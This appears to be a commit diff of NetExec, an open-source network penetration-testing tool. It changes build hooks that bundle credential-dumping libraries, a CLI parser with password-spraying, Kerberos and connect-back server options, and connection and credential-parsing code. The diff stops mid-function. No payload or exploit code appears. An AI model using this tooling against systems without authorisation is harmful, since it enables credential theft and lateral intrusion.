try:
build_nxc()
build_nxcdb()
except:
except FileNotFoundError:
pass
finally:
shutil.rmtree("build")
Generated
-92
View File
@@ -1,92 +0,0 @@
{
"nodes": {
"flake-utils": {
"locked": {
"lastModified": 1649676176,
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"flake-utils_2": {
"locked": {
"lastModified": 1649676176,
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1651248272,
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
"type": "github"
},
"original": {
"owner": "NixOS",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs_2": {
"locked": {
"lastModified": 1651248272,
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
"type": "github"
},
"original": {
"owner": "NixOS",
"repo": "nixpkgs",
"type": "github"
}
},
"poetry2nix": {
"inputs": {
"flake-utils": "flake-utils_2",
"nixpkgs": "nixpkgs_2"
},
"locked": {
"lastModified": 1651165059,
"narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
"owner": "nix-community",
"repo": "poetry2nix",
"rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
"type": "github"
},
"original": {
"owner": "nix-community",
"repo": "poetry2nix",
"type": "github"
}
},
"root": {
"inputs": {
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs",
"poetry2nix": "poetry2nix"
}
}
},
"root": "root",
"version": 7
}
-36
View File
@@ -1,36 +0,0 @@
{
description = "Application packaged using poetry2nix";
inputs.flake-utils.url = "github:numtide/flake-utils";
inputs.nixpkgs.url = "github:NixOS/nixpkgs";
inputs.poetry2nix.url = "github:nix-community/poetry2nix";
outputs = { self, nixpkgs, flake-utils, poetry2nix }:
{
# Nixpkgs overlay providing the application
overlay = nixpkgs.lib.composeManyExtensions [
poetry2nix.overlay
(final: prev: {
# The application
NetExec = prev.poetry2nix.mkPoetryApplication {
projectDir = ./.;
};
})
];
} // (flake-utils.lib.eachDefaultSystem (system:
let
pkgs = import nixpkgs {
inherit system;
overlays = [ self.overlay ];
};
in
{
apps = {
NetExec = pkgs.NetExec;
};
defaultApp = pkgs.NetExec;
packages = { NetExec = pkgs.NetExec; };
}));
}
+13
View File
@@ -13,6 +13,12 @@ a = Analysis(
('./nxc/modules', 'nxc/modules')
],
hiddenimports=[
'aardwolf',
'aardwolf.connection',
'aardwolf.commons.queuedata.constants',
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'impacket.examples.secretsdump',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
@@ -32,9 +38,11 @@ a = Analysis(
'nxc.protocols.smb.smbspider',
'nxc.protocols.smb.passpol',
'nxc.protocols.mssql.mssqlexec',
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
@@ -48,6 +56,7 @@ a = Analysis(
'lsassy.parser',
'lsassy.session',
'lsassy.impacketfile',
'bloodhound',
'dns',
'dns.name',
'dns.resolver',
@@ -58,12 +67,16 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
runtime_hooks=[],
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("lsassy")
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("pypykatz")
+107 -164
View File
@@ -1,26 +1,61 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import argcomplete
import sys
from argparse import RawTextHelpFormatter
from os import listdir
from os.path import dirname
from os.path import join as path_join
import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from termcolor import colored
from nxc.logger import nxc_logger
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
CODENAME = "A New Beginning"
parser = argparse.ArgumentParser(description=f"""
_ _ _ _____
| \ | | ___ | |_ | ____| __ __ ___ ___
| \| | / _ \ | __| | _| \ \/ / / _ \ / __|
| |\ | | __/ | |_ | |___ > < | __/ | (__
|_| \_| \___| \__| |_____| /_/\_\ \___| \___|
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "ItsAlwaysDNS"
COMMIT = "kali"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
ॱ ॱ
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -29,177 +64,85 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
parser.add_argument(
"-t",
type=int,
dest="threads",
default=100,
help="set how many concurrent threads to use (default: 100)",
)
parser.add_argument(
"--timeout",
default=None,
type=int,
help="max timeout in seconds of each thread (default: None)",
)
parser.add_argument(
"--jitter",
metavar="INTERVAL",
type=str,
help="sets a random delay between each connection (default: None)",
)
parser.add_argument(
"--no-progress",
action="store_true",
help="Not displaying progress bar during scan",
)
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument(
"-o",
metavar="MODULE_OPTION",
nargs="+",
default=[],
dest="module_options",
help="module options",
)
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument(
"--options",
dest="show_module_options",
action="store_true",
help="display module options",
)
module_parser.add_argument(
"--server",
choices={"http", "https"},
default="https",
help="use the selected server (default: https)",
)
module_parser.add_argument(
"--server-host",
type=str,
default="0.0.0.0",
metavar="HOST",
help="IP to bind the server to (default: 0.0.0.0)",
)
module_parser.add_argument(
"--server-port",
metavar="PORT",
type=int,
help="start the server on the specified port",
)
module_parser.add_argument(
"--connectback-host",
type=str,
metavar="CHOST",
help="IP for the remote system to connect back to (default: same as server-host)",
)
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument(
"target",
nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
type=str,
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
)
std_parser.add_argument(
"-id",
metavar="CRED_ID",
nargs="+",
default=[],
type=str,
dest="cred_id",
help="database credential ID(s) to use for authentication",
)
std_parser.add_argument(
"-u",
metavar="USERNAME",
dest="username",
nargs="+",
default=[],
help="username(s) or file(s) containing usernames",
)
std_parser.add_argument(
"-p",
metavar="PASSWORD",
dest="password",
nargs="+",
default=[],
help="password(s) or file(s) containing passwords",
)
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument(
"--use-kcache",
action="store_true",
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
)
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument(
"--aesKey",
metavar="AESKEY",
nargs="+",
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
)
std_parser.add_argument(
"--kdcHost",
metavar="KDCHOST",
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
)
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument(
"--gfail-limit",
metavar="LIMIT",
type=int,
help="max number of global failed login attempts",
)
fail_group.add_argument(
"--ufail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per username",
)
fail_group.add_argument(
"--fail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per host",
)
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols.keys():
try:
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
except:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol}")
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if args.version:
print(f"{VERSION} - {CODENAME}")
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
def get_module_names():
"""Get module names without initializing them"""
modules = []
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
return sorted(modules, key=str.casefold)
+7 -8
View File
@@ -1,8 +1,7 @@
# coding=utf-8
import os
from os.path import join as path_join
import configparser
from nxc.paths import nxc_PATH, DATA_PATH
from nxc.paths import NXC_PATH, DATA_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@@ -11,11 +10,11 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
@@ -24,10 +23,10 @@ for section in nxc_default_config.sections():
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(path_join(nxc_PATH, "nxc.conf"), "w") as config_file:
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
nxc_config.write(config_file)
#!!! THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE !!!
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
@@ -44,5 +43,5 @@ if len(host_info_colors) != 4:
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
def process_secret(text):
hidden = text[:reveal_chars_of_pwd]
return text if not audit_mode else hidden+audit_mode * 8
reveal = text[:reveal_chars_of_pwd]
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
+242 -127
View File
@@ -1,118 +1,188 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
import socket
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
from socket import getaddrinfo
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
from impacket.dcerpc.v5 import transport
import sys
import contextlib
sem = BoundedSemaphore(1)
global_failed_logins = 0
user_failed_logins = {}
def gethost_addrinfo(hostname):
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
address_info = {"AF_INET6": "", "AF_INET": ""}
try:
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = canonname if ip_address(sa[0]).is_link_local else sa[0]
except socket.gaierror:
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = sa[0] if sa[0] else canonname
return host
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
# IPv4 preferred
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
else:
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
return result
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
return
return None
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, timeout):
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding['wTowerId'] == 7:
if strBinding['aNetworkAddr'].find('[') >= 0:
binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
bindingPort = '[' + bindingPort
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding['aNetworkAddr']
bindingPort = ''
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition('.')[0]) >= 0:
stringBinding = 'ncacn_ip_tcp:%s%s' % (iInterface.get_target(), bindingPort)
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except:
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection(object):
def __init__(self, args, db, host):
self.domain = None
class connection:
def __init__(self, args, db, target):
self.args = args
self.db = db
self.hostname = host
self.logger = nxc_logger
self.conn = None
self.admin_privs = False
# Authentication info
self.password = ""
self.username = ""
self.kerberos = True if self.args.kerberos or self.args.use_kcache or self.args.aesKey else False
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.local_ip = None
self.logger = nxc_logger
try:
self.host = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
return
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
if self.args.kerberos:
self.host = self.hostname
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except Exception as e:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
@@ -133,16 +203,7 @@ class connection(object):
def check_if_admin(self):
return
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
@@ -152,27 +213,50 @@ class connection(object):
return
def proto_flow(self):
self.logger.debug(f"Kicking off proto_flow")
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if self.create_conn_obj():
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info():
# because of null session
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def call_cmd_args(self):
for k, v in vars(self.args).items():
if hasattr(self, k) and hasattr(getattr(self, k), "__call__"):
if v is not False and v is not None:
self.logger.debug(f"Calling {k}()")
r = getattr(self, k)()
"""Calls all the methods specified by the command line arguments
Iterates over the attributes of an object (self.args)
For each attribute, it checks if the object (self) has an attribute with the same name and if that attribute is callable (i.e., a function)
If both conditions are met and the attribute value is not False or None,
it calls the function and logs a debug message
Parameters
----------
self (object): The instance of the class.
Returns
-------
None
"""
for attr, value in vars(self.args).items():
if hasattr(self, attr) and callable(getattr(self, attr)) and value is not False and value is not None:
self.logger.debug(f"Calling {attr}()")
getattr(self, attr)()
def call_modules(self):
for module in self.module:
"""Calls modules and performs various actions based on the module's attributes.
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.modules:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
@@ -208,7 +292,7 @@ class connection(object):
global global_failed_logins
global user_failed_logins
if username not in user_failed_logins.keys():
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
@@ -225,53 +309,54 @@ class connection(object):
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins.keys():
if self.args.ufail_limit == user_failed_logins[username]:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
return True
return False
def query_db_creds(self):
"""
Queries the database for credentials to be used for authentication.
"""Queries the database for credentials to be used for authentication.
Valid cred_id values are:
- a single cred_id
- a range specified with a dash (ex. 1-5)
- 'all' to select all credentials
:return: domain[], username[], owned[], secret[], cred_type[]
:return: domains[], usernames[], owned[], secrets[], cred_types[]
"""
domain = []
username = []
domains = []
usernames = []
owned = []
secret = []
cred_type = []
secrets = []
cred_types = []
creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
data = [] # Arbitrary data needed for the login, e.g. ssh_key
for cred_id in self.args.cred_id:
if isinstance(cred_id, str) and cred_id.lower() == 'all':
if cred_id.lower() == "all":
creds = self.db.get_credentials()
else:
if not self.db.get_credentials(filter_term=int(cred_id)):
self.logger.error('Invalid database credential ID {}!'.format(cred_id))
self.logger.error(f"Invalid database credential ID {cred_id}!")
continue
creds.extend(self.db.get_credentials(filter_term=int(cred_id)))
for cred in creds:
c_id, domain_single, username_single, secret_single, cred_type_single, pillaged_from = cred
domain.append(domain_single)
username.append(username_single)
c_id, domain, username, secret, cred_type, pillaged_from = cred
domains.append(domain)
usernames.append(username)
owned.append(False) # As these are likely valid we still want to test them if they are specified in the command line
secret.append(secret_single)
cred_type.append(cred_type_single)
secrets.append(secret)
cred_types.append(cred_type)
if len(secret) != len(data): data = [None] * len(secret)
return domain, username, owned, secret, cred_type, data
if len(secrets) != len(data):
data = [None] * len(secrets)
return domains, usernames, owned, secrets, cred_types, data
def parse_credentials(self):
"""
Parse credentials from the command line or from a file specified.
r"""Parse credentials from the command line or from a file specified.
Usernames can be specified with a domain (domain\\username) or without (username).
If the file contains domain\\username the domain specified will be overwritten by the one in the file.
@@ -286,7 +371,7 @@ class connection(object):
# Parse usernames
for user in self.args.username:
if isfile(user):
with open(user, 'r') as user_file:
with open(user) as user_file:
for line in user_file:
if "\\" in line:
domain_single, username_single = line.split("\\")
@@ -310,42 +395,41 @@ class connection(object):
for password in self.args.password:
if isfile(password):
try:
with open(password, 'r', errors = ('ignore' if self.args.ignore_pw_decoding else 'strict')) as password_file:
with open(password, errors=("ignore" if self.args.ignore_pw_decoding else "strict")) as password_file:
for line in password_file:
secret.append(line.strip())
cred_type.append('plaintext')
cred_type.append("plaintext")
except UnicodeDecodeError as e:
self.logger.error(f"{type(e).__name__}: Could not decode password file. Make sure the file only contains UTF-8 characters.")
self.logger.error("You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'")
exit(1)
sys.exit(1)
else:
secret.append(password)
